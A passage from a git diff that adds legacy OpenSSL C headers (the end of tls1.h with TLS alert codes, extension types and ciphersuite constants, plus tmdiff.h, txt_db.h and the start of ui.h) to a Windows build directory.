TLS1_ALLOW_EXPERIMENTAL_CIPHERSUITES 0 + +#define TLS1_VERSION 0x0301 +#define TLS1_VERSION_MAJOR 0x03 +#define TLS1_VERSION_MINOR 0x01 + +#define TLS1_AD_DECRYPTION_FAILED 21 +#define TLS1_AD_RECORD_OVERFLOW 22 +#define TLS1_AD_UNKNOWN_CA 48 /* fatal */ +#define TLS1_AD_ACCESS_DENIED 49 /* fatal */ +#define TLS1_AD_DECODE_ERROR 50 /* fatal */ +#define TLS1_AD_DECRYPT_ERROR 51 +#define TLS1_AD_EXPORT_RESTRICTION 60 /* fatal */ +#define TLS1_AD_PROTOCOL_VERSION 70 /* fatal */ +#define TLS1_AD_INSUFFICIENT_SECURITY 71 /* fatal */ +#define TLS1_AD_INTERNAL_ERROR 80 /* fatal */ +#define TLS1_AD_USER_CANCELLED 90 +#define TLS1_AD_NO_RENEGOTIATION 100 +/* codes 110-114 are from RFC3546 */ +#define TLS1_AD_UNSUPPORTED_EXTENSION 110 +#define TLS1_AD_CERTIFICATE_UNOBTAINABLE 111 +#define TLS1_AD_UNRECOGNIZED_NAME 112 +#define TLS1_AD_BAD_CERTIFICATE_STATUS_RESPONSE 113 +#define TLS1_AD_BAD_CERTIFICATE_HASH_VALUE 114 +#define TLS1_AD_UNKNOWN_PSK_IDENTITY 115 /* fatal */ + +/* ExtensionType values from RFC 3546 */ +#define TLSEXT_TYPE_server_name 0 +#define TLSEXT_TYPE_max_fragment_length 1 +#define TLSEXT_TYPE_client_certificate_url 2 +#define TLSEXT_TYPE_trusted_ca_keys 3 +#define TLSEXT_TYPE_truncated_hmac 4 +#define TLSEXT_TYPE_status_request 5 +#define TLSEXT_TYPE_elliptic_curves 10 +#define TLSEXT_TYPE_ec_point_formats 11 +#define TLSEXT_TYPE_session_ticket 35 + +/* NameType value from RFC 3546 */ +#define TLSEXT_NAMETYPE_host_name 0 +/* status request value from RFC 3546 */ +#define TLSEXT_STATUSTYPE_ocsp 1 + +#ifndef OPENSSL_NO_TLSEXT + +#define TLSEXT_MAXLEN_host_name 255 + +const char *SSL_get_servername(const SSL *s, const int type) ; +int SSL_get_servername_type(const SSL *s) ; + +#define SSL_set_tlsext_host_name(s,name) \ +SSL_ctrl(s,SSL_CTRL_SET_TLSEXT_HOSTNAME,TLSEXT_NAMETYPE_host_name,(char *)name) + +#define SSL_set_tlsext_debug_callback(ssl, cb) \ +SSL_callback_ctrl(ssl,SSL_CTRL_SET_TLSEXT_DEBUG_CB,(void (*)(void))cb) + +#define SSL_set_tlsext_debug_arg(ssl, arg) \ +SSL_ctrl(ssl,SSL_CTRL_SET_TLSEXT_DEBUG_ARG,0, (void *)arg) + +#define SSL_set_tlsext_status_type(ssl, type) \ +SSL_ctrl(ssl,SSL_CTRL_SET_TLSEXT_STATUS_REQ_TYPE,type, NULL) + +#define SSL_get_tlsext_status_exts(ssl, arg) \ +SSL_ctrl(ssl,SSL_CTRL_GET_TLSEXT_STATUS_REQ_EXTS,0, (void *)arg) + +#define SSL_set_tlsext_status_exts(ssl, arg) \ +SSL_ctrl(ssl,SSL_CTRL_SET_TLSEXT_STATUS_REQ_EXTS,0, (void *)arg) + +#define SSL_get_tlsext_status_ids(ssl, arg) \ +SSL_ctrl(ssl,SSL_CTRL_GET_TLSEXT_STATUS_REQ_IDS,0, (void *)arg) + +#define SSL_set_tlsext_status_ids(ssl, arg) \ +SSL_ctrl(ssl,SSL_CTRL_SET_TLSEXT_STATUS_REQ_IDS,0, (void *)arg) + +#define SSL_get_tlsext_status_ocsp_resp(ssl, arg) \ +SSL_ctrl(ssl,SSL_CTRL_GET_TLSEXT_STATUS_REQ_OCSP_RESP,0, (void *)arg) + +#define SSL_set_tlsext_status_ocsp_resp(ssl, arg, arglen) \ +SSL_ctrl(ssl,SSL_CTRL_SET_TLSEXT_STATUS_REQ_OCSP_RESP,arglen, (void *)arg) + +#define SSL_CTX_set_tlsext_servername_callback(ctx, cb) \ +SSL_CTX_callback_ctrl(ctx,SSL_CTRL_SET_TLSEXT_SERVERNAME_CB,(void (*)(void))cb) + +#define SSL_TLSEXT_ERR_OK 0 +#define SSL_TLSEXT_ERR_ALERT_WARNING 1 +#define SSL_TLSEXT_ERR_ALERT_FATAL 2 +#define SSL_TLSEXT_ERR_NOACK 3 + +#define SSL_CTX_set_tlsext_servername_arg(ctx, arg) \ +SSL_CTX_ctrl(ctx,SSL_CTRL_SET_TLSEXT_SERVERNAME_ARG,0, (void *)arg) + +#define SSL_CTX_get_tlsext_ticket_keys(ctx, keys, keylen) \ + SSL_CTX_ctrl((ctx),SSL_CTRL_GET_TLXEXT_TICKET_KEYS,(keylen),(keys)) +#define SSL_CTX_set_tlsext_ticket_keys(ctx, keys, keylen) \ + SSL_CTX_ctrl((ctx),SSL_CTRL_SET_TLXEXT_TICKET_KEYS,(keylen),(keys)) + +#define SSL_CTX_set_tlsext_status_cb(ssl, cb) \ +SSL_CTX_callback_ctrl(ssl,SSL_CTRL_SET_TLSEXT_STATUS_REQ_CB,(void (*)(void))cb) + +#define SSL_CTX_set_tlsext_status_arg(ssl, arg) \ +SSL_CTX_ctrl(ssl,SSL_CTRL_SET_TLSEXT_STATUS_REQ_CB_ARG,0, (void *)arg) + +#define SSL_CTX_set_tlsext_ticket_key_cb(ssl, cb) \ +SSL_CTX_callback_ctrl(ssl,SSL_CTRL_SET_TLSEXT_TICKET_KEY_CB,(void (*)(void))cb) + +#endif + +/* Additional TLS ciphersuites from draft-ietf-tls-56-bit-ciphersuites-00.txt + * (available if TLS1_ALLOW_EXPERIMENTAL_CIPHERSUITES is defined, see + * s3_lib.c). We actually treat them like SSL 3.0 ciphers, which we probably + * shouldn't. */ +#define TLS1_CK_RSA_EXPORT1024_WITH_RC4_56_MD5 0x03000060 +#define TLS1_CK_RSA_EXPORT1024_WITH_RC2_CBC_56_MD5 0x03000061 +#define TLS1_CK_RSA_EXPORT1024_WITH_DES_CBC_SHA 0x03000062 +#define TLS1_CK_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA 0x03000063 +#define TLS1_CK_RSA_EXPORT1024_WITH_RC4_56_SHA 0x03000064 +#define TLS1_CK_DHE_DSS_EXPORT1024_WITH_RC4_56_SHA 0x03000065 +#define TLS1_CK_DHE_DSS_WITH_RC4_128_SHA 0x03000066 + +/* AES ciphersuites from RFC3268 */ + +#define TLS1_CK_RSA_WITH_AES_128_SHA 0x0300002F +#define TLS1_CK_DH_DSS_WITH_AES_128_SHA 0x03000030 +#define TLS1_CK_DH_RSA_WITH_AES_128_SHA 0x03000031 +#define TLS1_CK_DHE_DSS_WITH_AES_128_SHA 0x03000032 +#define TLS1_CK_DHE_RSA_WITH_AES_128_SHA 0x03000033 +#define TLS1_CK_ADH_WITH_AES_128_SHA 0x03000034 + +#define TLS1_CK_RSA_WITH_AES_256_SHA 0x03000035 +#define TLS1_CK_DH_DSS_WITH_AES_256_SHA 0x03000036 +#define TLS1_CK_DH_RSA_WITH_AES_256_SHA 0x03000037 +#define TLS1_CK_DHE_DSS_WITH_AES_256_SHA 0x03000038 +#define TLS1_CK_DHE_RSA_WITH_AES_256_SHA 0x03000039 +#define TLS1_CK_ADH_WITH_AES_256_SHA 0x0300003A + +/* Camellia ciphersuites from RFC4132 */ +#define TLS1_CK_RSA_WITH_CAMELLIA_128_CBC_SHA 0x03000041 +#define TLS1_CK_DH_DSS_WITH_CAMELLIA_128_CBC_SHA 0x03000042 +#define TLS1_CK_DH_RSA_WITH_CAMELLIA_128_CBC_SHA 0x03000043 +#define TLS1_CK_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA 0x03000044 +#define TLS1_CK_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA 0x03000045 +#define TLS1_CK_ADH_WITH_CAMELLIA_128_CBC_SHA 0x03000046 + +#define TLS1_CK_RSA_WITH_CAMELLIA_256_CBC_SHA 0x03000084 +#define TLS1_CK_DH_DSS_WITH_CAMELLIA_256_CBC_SHA 0x03000085 +#define TLS1_CK_DH_RSA_WITH_CAMELLIA_256_CBC_SHA 0x03000086 +#define TLS1_CK_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA 0x03000087 +#define TLS1_CK_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA 0x03000088 +#define TLS1_CK_ADH_WITH_CAMELLIA_256_CBC_SHA 0x03000089 + +/* SEED ciphersuites from RFC4162 */ +#define TLS1_CK_RSA_WITH_SEED_SHA 0x03000096 +#define TLS1_CK_DH_DSS_WITH_SEED_SHA 0x03000097 +#define TLS1_CK_DH_RSA_WITH_SEED_SHA 0x03000098 +#define TLS1_CK_DHE_DSS_WITH_SEED_SHA 0x03000099 +#define TLS1_CK_DHE_RSA_WITH_SEED_SHA 0x0300009A +#define TLS1_CK_ADH_WITH_SEED_SHA 0x0300009B + +/* ECC ciphersuites from draft-ietf-tls-ecc-12.txt with changes soon to be in draft 13 */ +#define TLS1_CK_ECDH_ECDSA_WITH_NULL_SHA 0x0300C001 +#define TLS1_CK_ECDH_ECDSA_WITH_RC4_128_SHA 0x0300C002 +#define TLS1_CK_ECDH_ECDSA_WITH_DES_192_CBC3_SHA 0x0300C003 +#define TLS1_CK_ECDH_ECDSA_WITH_AES_128_CBC_SHA 0x0300C004 +#define TLS1_CK_ECDH_ECDSA_WITH_AES_256_CBC_SHA 0x0300C005 + +#define TLS1_CK_ECDHE_ECDSA_WITH_NULL_SHA 0x0300C006 +#define TLS1_CK_ECDHE_ECDSA_WITH_RC4_128_SHA 0x0300C007 +#define TLS1_CK_ECDHE_ECDSA_WITH_DES_192_CBC3_SHA 0x0300C008 +#define TLS1_CK_ECDHE_ECDSA_WITH_AES_128_CBC_SHA 0x0300C009 +#define TLS1_CK_ECDHE_ECDSA_WITH_AES_256_CBC_SHA 0x0300C00A + +#define TLS1_CK_ECDH_RSA_WITH_NULL_SHA 0x0300C00B +#define TLS1_CK_ECDH_RSA_WITH_RC4_128_SHA 0x0300C00C +#define TLS1_CK_ECDH_RSA_WITH_DES_192_CBC3_SHA 0x0300C00D +#define TLS1_CK_ECDH_RSA_WITH_AES_128_CBC_SHA 0x0300C00E +#define TLS1_CK_ECDH_RSA_WITH_AES_256_CBC_SHA 0x0300C00F + +#define TLS1_CK_ECDHE_RSA_WITH_NULL_SHA 0x0300C010 +#define TLS1_CK_ECDHE_RSA_WITH_RC4_128_SHA 0x0300C011 +#define TLS1_CK_ECDHE_RSA_WITH_DES_192_CBC3_SHA 0x0300C012 +#define TLS1_CK_ECDHE_RSA_WITH_AES_128_CBC_SHA 0x0300C013 +#define TLS1_CK_ECDHE_RSA_WITH_AES_256_CBC_SHA 0x0300C014 + +#define TLS1_CK_ECDH_anon_WITH_NULL_SHA 0x0300C015 +#define TLS1_CK_ECDH_anon_WITH_RC4_128_SHA 0x0300C016 +#define TLS1_CK_ECDH_anon_WITH_DES_192_CBC3_SHA 0x0300C017 +#define TLS1_CK_ECDH_anon_WITH_AES_128_CBC_SHA 0x0300C018 +#define TLS1_CK_ECDH_anon_WITH_AES_256_CBC_SHA 0x0300C019 + +/* XXX + * Inconsistency alert: + * The OpenSSL names of ciphers with ephemeral DH here include the string + * "DHE", while elsewhere it has always been "EDH". + * (The alias for the list of all such ciphers also is "EDH".) + * The specifications speak of "EDH"; maybe we should allow both forms + * for everything. */ +#define TLS1_TXT_RSA_EXPORT1024_WITH_RC4_56_MD5 "EXP1024-RC4-MD5" +#define TLS1_TXT_RSA_EXPORT1024_WITH_RC2_CBC_56_MD5 "EXP1024-RC2-CBC-MD5" +#define TLS1_TXT_RSA_EXPORT1024_WITH_DES_CBC_SHA "EXP1024-DES-CBC-SHA" +#define TLS1_TXT_DHE_DSS_EXPORT1024_WITH_DES_CBC_SHA "EXP1024-DHE-DSS-DES-CBC-SHA" +#define TLS1_TXT_RSA_EXPORT1024_WITH_RC4_56_SHA "EXP1024-RC4-SHA" +#define TLS1_TXT_DHE_DSS_EXPORT1024_WITH_RC4_56_SHA "EXP1024-DHE-DSS-RC4-SHA" +#define TLS1_TXT_DHE_DSS_WITH_RC4_128_SHA "DHE-DSS-RC4-SHA" + +/* AES ciphersuites from RFC3268 */ +#define TLS1_TXT_RSA_WITH_AES_128_SHA "AES128-SHA" +#define TLS1_TXT_DH_DSS_WITH_AES_128_SHA "DH-DSS-AES128-SHA" +#define TLS1_TXT_DH_RSA_WITH_AES_128_SHA "DH-RSA-AES128-SHA" +#define TLS1_TXT_DHE_DSS_WITH_AES_128_SHA "DHE-DSS-AES128-SHA" +#define TLS1_TXT_DHE_RSA_WITH_AES_128_SHA "DHE-RSA-AES128-SHA" +#define TLS1_TXT_ADH_WITH_AES_128_SHA "ADH-AES128-SHA" + +#define TLS1_TXT_RSA_WITH_AES_256_SHA "AES256-SHA" +#define TLS1_TXT_DH_DSS_WITH_AES_256_SHA "DH-DSS-AES256-SHA" +#define TLS1_TXT_DH_RSA_WITH_AES_256_SHA "DH-RSA-AES256-SHA" +#define TLS1_TXT_DHE_DSS_WITH_AES_256_SHA "DHE-DSS-AES256-SHA" +#define TLS1_TXT_DHE_RSA_WITH_AES_256_SHA "DHE-RSA-AES256-SHA" +#define TLS1_TXT_ADH_WITH_AES_256_SHA "ADH-AES256-SHA" + +/* ECC ciphersuites from draft-ietf-tls-ecc-01.txt (Mar 15, 2001) */ +#define TLS1_TXT_ECDH_ECDSA_WITH_NULL_SHA "ECDH-ECDSA-NULL-SHA" +#define TLS1_TXT_ECDH_ECDSA_WITH_RC4_128_SHA "ECDH-ECDSA-RC4-SHA" +#define TLS1_TXT_ECDH_ECDSA_WITH_DES_192_CBC3_SHA "ECDH-ECDSA-DES-CBC3-SHA" +#define TLS1_TXT_ECDH_ECDSA_WITH_AES_128_CBC_SHA "ECDH-ECDSA-AES128-SHA" +#define TLS1_TXT_ECDH_ECDSA_WITH_AES_256_CBC_SHA "ECDH-ECDSA-AES256-SHA" + +#define TLS1_TXT_ECDHE_ECDSA_WITH_NULL_SHA "ECDHE-ECDSA-NULL-SHA" +#define TLS1_TXT_ECDHE_ECDSA_WITH_RC4_128_SHA "ECDHE-ECDSA-RC4-SHA" +#define TLS1_TXT_ECDHE_ECDSA_WITH_DES_192_CBC3_SHA "ECDHE-ECDSA-DES-CBC3-SHA" +#define TLS1_TXT_ECDHE_ECDSA_WITH_AES_128_CBC_SHA "ECDHE-ECDSA-AES128-SHA" +#define TLS1_TXT_ECDHE_ECDSA_WITH_AES_256_CBC_SHA "ECDHE-ECDSA-AES256-SHA" + +#define TLS1_TXT_ECDH_RSA_WITH_NULL_SHA "ECDH-RSA-NULL-SHA" +#define TLS1_TXT_ECDH_RSA_WITH_RC4_128_SHA "ECDH-RSA-RC4-SHA" +#define TLS1_TXT_ECDH_RSA_WITH_DES_192_CBC3_SHA "ECDH-RSA-DES-CBC3-SHA" +#define TLS1_TXT_ECDH_RSA_WITH_AES_128_CBC_SHA "ECDH-RSA-AES128-SHA" +#define TLS1_TXT_ECDH_RSA_WITH_AES_256_CBC_SHA "ECDH-RSA-AES256-SHA" + +#define TLS1_TXT_ECDHE_RSA_WITH_NULL_SHA "ECDHE-RSA-NULL-SHA" +#define TLS1_TXT_ECDHE_RSA_WITH_RC4_128_SHA "ECDHE-RSA-RC4-SHA" +#define TLS1_TXT_ECDHE_RSA_WITH_DES_192_CBC3_SHA "ECDHE-RSA-DES-CBC3-SHA" +#define TLS1_TXT_ECDHE_RSA_WITH_AES_128_CBC_SHA "ECDHE-RSA-AES128-SHA" +#define TLS1_TXT_ECDHE_RSA_WITH_AES_256_CBC_SHA "ECDHE-RSA-AES256-SHA" + +#define TLS1_TXT_ECDH_anon_WITH_NULL_SHA "AECDH-NULL-SHA" +#define TLS1_TXT_ECDH_anon_WITH_RC4_128_SHA "AECDH-RC4-SHA" +#define TLS1_TXT_ECDH_anon_WITH_DES_192_CBC3_SHA "AECDH-DES-CBC3-SHA" +#define TLS1_TXT_ECDH_anon_WITH_AES_128_CBC_SHA "AECDH-AES128-SHA" +#define TLS1_TXT_ECDH_anon_WITH_AES_256_CBC_SHA "AECDH-AES256-SHA" + +/* Camellia ciphersuites from RFC4132 */ +#define TLS1_TXT_RSA_WITH_CAMELLIA_128_CBC_SHA "CAMELLIA128-SHA" +#define TLS1_TXT_DH_DSS_WITH_CAMELLIA_128_CBC_SHA "DH-DSS-CAMELLIA128-SHA" +#define TLS1_TXT_DH_RSA_WITH_CAMELLIA_128_CBC_SHA "DH-RSA-CAMELLIA128-SHA" +#define TLS1_TXT_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA "DHE-DSS-CAMELLIA128-SHA" +#define TLS1_TXT_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA "DHE-RSA-CAMELLIA128-SHA" +#define TLS1_TXT_ADH_WITH_CAMELLIA_128_CBC_SHA "ADH-CAMELLIA128-SHA" + +#define TLS1_TXT_RSA_WITH_CAMELLIA_256_CBC_SHA "CAMELLIA256-SHA" +#define TLS1_TXT_DH_DSS_WITH_CAMELLIA_256_CBC_SHA "DH-DSS-CAMELLIA256-SHA" +#define TLS1_TXT_DH_RSA_WITH_CAMELLIA_256_CBC_SHA "DH-RSA-CAMELLIA256-SHA" +#define TLS1_TXT_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA "DHE-DSS-CAMELLIA256-SHA" +#define TLS1_TXT_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA "DHE-RSA-CAMELLIA256-SHA" +#define TLS1_TXT_ADH_WITH_CAMELLIA_256_CBC_SHA "ADH-CAMELLIA256-SHA" + +/* SEED ciphersuites from RFC4162 */ +#define TLS1_TXT_RSA_WITH_SEED_SHA "SEED-SHA" +#define TLS1_TXT_DH_DSS_WITH_SEED_SHA "DH-DSS-SEED-SHA" +#define TLS1_TXT_DH_RSA_WITH_SEED_SHA "DH-RSA-SEED-SHA" +#define TLS1_TXT_DHE_DSS_WITH_SEED_SHA "DHE-DSS-SEED-SHA" +#define TLS1_TXT_DHE_RSA_WITH_SEED_SHA "DHE-RSA-SEED-SHA" +#define TLS1_TXT_ADH_WITH_SEED_SHA "ADH-SEED-SHA" + +#define TLS_CT_RSA_SIGN 1 +#define TLS_CT_DSS_SIGN 2 +#define TLS_CT_RSA_FIXED_DH 3 +#define TLS_CT_DSS_FIXED_DH 4 +#define TLS_CT_ECDSA_SIGN 64 +#define TLS_CT_RSA_FIXED_ECDH 65 +#define TLS_CT_ECDSA_FIXED_ECDH 66 +#define TLS_CT_NUMBER 7 + +#define TLS1_FINISH_MAC_LENGTH 12 + +#define TLS_MD_MAX_CONST_SIZE 20 +#define TLS_MD_CLIENT_FINISH_CONST "client finished" +#define TLS_MD_CLIENT_FINISH_CONST_SIZE 15 +#define TLS_MD_SERVER_FINISH_CONST "server finished" +#define TLS_MD_SERVER_FINISH_CONST_SIZE 15 +#define TLS_MD_SERVER_WRITE_KEY_CONST "server write key" +#define TLS_MD_SERVER_WRITE_KEY_CONST_SIZE 16 +#define TLS_MD_KEY_EXPANSION_CONST "key expansion" +#define TLS_MD_KEY_EXPANSION_CONST_SIZE 13 +#define TLS_MD_CLIENT_WRITE_KEY_CONST "client write key" +#define TLS_MD_CLIENT_WRITE_KEY_CONST_SIZE 16 +#define TLS_MD_SERVER_WRITE_KEY_CONST "server write key" +#define TLS_MD_SERVER_WRITE_KEY_CONST_SIZE 16 +#define TLS_MD_IV_BLOCK_CONST "IV block" +#define TLS_MD_IV_BLOCK_CONST_SIZE 8 +#define TLS_MD_MASTER_SECRET_CONST "master secret" +#define TLS_MD_MASTER_SECRET_CONST_SIZE 13 + +#ifdef CHARSET_EBCDIC +#undef TLS_MD_CLIENT_FINISH_CONST +#define TLS_MD_CLIENT_FINISH_CONST "\x63\x6c\x69\x65\x6e\x74\x20\x66\x69\x6e\x69\x73\x68\x65\x64" /*client finished*/ +#undef TLS_MD_SERVER_FINISH_CONST +#define TLS_MD_SERVER_FINISH_CONST "\x73\x65\x72\x76\x65\x72\x20\x66\x69\x6e\x69\x73\x68\x65\x64" /*server finished*/ +#undef TLS_MD_SERVER_WRITE_KEY_CONST +#define TLS_MD_SERVER_WRITE_KEY_CONST "\x73\x65\x72\x76\x65\x72\x20\x77\x72\x69\x74\x65\x20\x6b\x65\x79" /*server write key*/ +#undef TLS_MD_KEY_EXPANSION_CONST +#define TLS_MD_KEY_EXPANSION_CONST "\x6b\x65\x79\x20\x65\x78\x70\x61\x6e\x73\x69\x6f\x6e" /*key expansion*/ +#undef TLS_MD_CLIENT_WRITE_KEY_CONST +#define TLS_MD_CLIENT_WRITE_KEY_CONST "\x63\x6c\x69\x65\x6e\x74\x20\x77\x72\x69\x74\x65\x20\x6b\x65\x79" /*client write key*/ +#undef TLS_MD_SERVER_WRITE_KEY_CONST +#define TLS_MD_SERVER_WRITE_KEY_CONST "\x73\x65\x72\x76\x65\x72\x20\x77\x72\x69\x74\x65\x20\x6b\x65\x79" /*server write key*/ +#undef TLS_MD_IV_BLOCK_CONST +#define TLS_MD_IV_BLOCK_CONST "\x49\x56\x20\x62\x6c\x6f\x63\x6b" /*IV block*/ +#undef TLS_MD_MASTER_SECRET_CONST +#define TLS_MD_MASTER_SECRET_CONST "\x6d\x61\x73\x74\x65\x72\x20\x73\x65\x63\x72\x65\x74" /*master secret*/ +#endif + +#ifdef __cplusplus +} +#endif +#endif + + + diff --git a/winstuff/openssl/tmdiff.h b/winstuff/openssl/tmdiff.h new file mode 100644 index 0000000..af5c41c --- /dev/null +++ b/winstuff/openssl/tmdiff.h @@ -0,0 +1,93 @@ +/* crypto/tmdiff.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +/* Header for dynamic hash table routines + * Author - Eric Young + */ +/* ... erm yeah, "dynamic hash tables" you say? + * + * And what would dynamic hash tables have to do with any of this code *now*? + * AFAICS, this code is only referenced by crypto/bn/exp.c which is an unused + * file that I doubt compiles any more. speed.c is the only thing that could + * use this (and it has nothing to do with hash tables), yet it instead has its + * own duplication of all this stuff and looks, if anything, more complete. See + * the corresponding note in apps/speed.c. + * The Bemused - Geoff + */ + +#ifndef HEADER_TMDIFF_H +#define HEADER_TMDIFF_H + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct ms_tm MS_TM; + +MS_TM *ms_time_new(void ); +void ms_time_free(MS_TM *a); +void ms_time_get(MS_TM *a); +double ms_time_diff(MS_TM *start, MS_TM *end); +int ms_time_cmp(const MS_TM *ap, const MS_TM *bp); + +#ifdef __cplusplus +} +#endif + +#endif + diff --git a/winstuff/openssl/txt_db.h b/winstuff/openssl/txt_db.h new file mode 100644 index 0000000..307e1ba --- /dev/null +++ b/winstuff/openssl/txt_db.h @@ -0,0 +1,109 @@ +/* crypto/txt_db/txt_db.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_TXT_DB_H +#define HEADER_TXT_DB_H + +#include +#ifndef OPENSSL_NO_BIO +#include +#endif +#include +#include + +#define DB_ERROR_OK 0 +#define DB_ERROR_MALLOC 1 +#define DB_ERROR_INDEX_CLASH 2 +#define DB_ERROR_INDEX_OUT_OF_RANGE 3 +#define DB_ERROR_NO_INDEX 4 +#define DB_ERROR_INSERT_INDEX_CLASH 5 + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct txt_db_st + { + int num_fields; + STACK /* char ** */ *data; + LHASH **index; + int (**qual)(char **); + long error; + long arg1; + long arg2; + char **arg_row; + } TXT_DB; + +#ifndef OPENSSL_NO_BIO +TXT_DB *TXT_DB_read(BIO *in, int num); +long TXT_DB_write(BIO *out, TXT_DB *db); +#else +TXT_DB *TXT_DB_read(char *in, int num); +long TXT_DB_write(char *out, TXT_DB *db); +#endif +int TXT_DB_create_index(TXT_DB *db,int field,int (*qual)(char **), + LHASH_HASH_FN_TYPE hash, LHASH_COMP_FN_TYPE cmp); +void TXT_DB_free(TXT_DB *db); +char **TXT_DB_get_by_index(TXT_DB *db, int idx, char **value); +int TXT_DB_insert(TXT_DB *db,char **value); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/winstuff/openssl/ui.h b/winstuff/openssl/ui.h new file mode 100644 index 0000000..0182964 --- /dev/null +++ b/winstuff/openssl/ui.h @@ -0,0 +1,381 @@ +/* crypto/ui/ui.h -*- mode:C; c-file-style: "eay" -*- */ +/* Written by Richard Levitte (richard@levitte.org) for the OpenSSL + * project 2001. + */ +/* ==================================================================== + * Copyright (c) 2001 The OpenSSL Project. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in + * the documentation 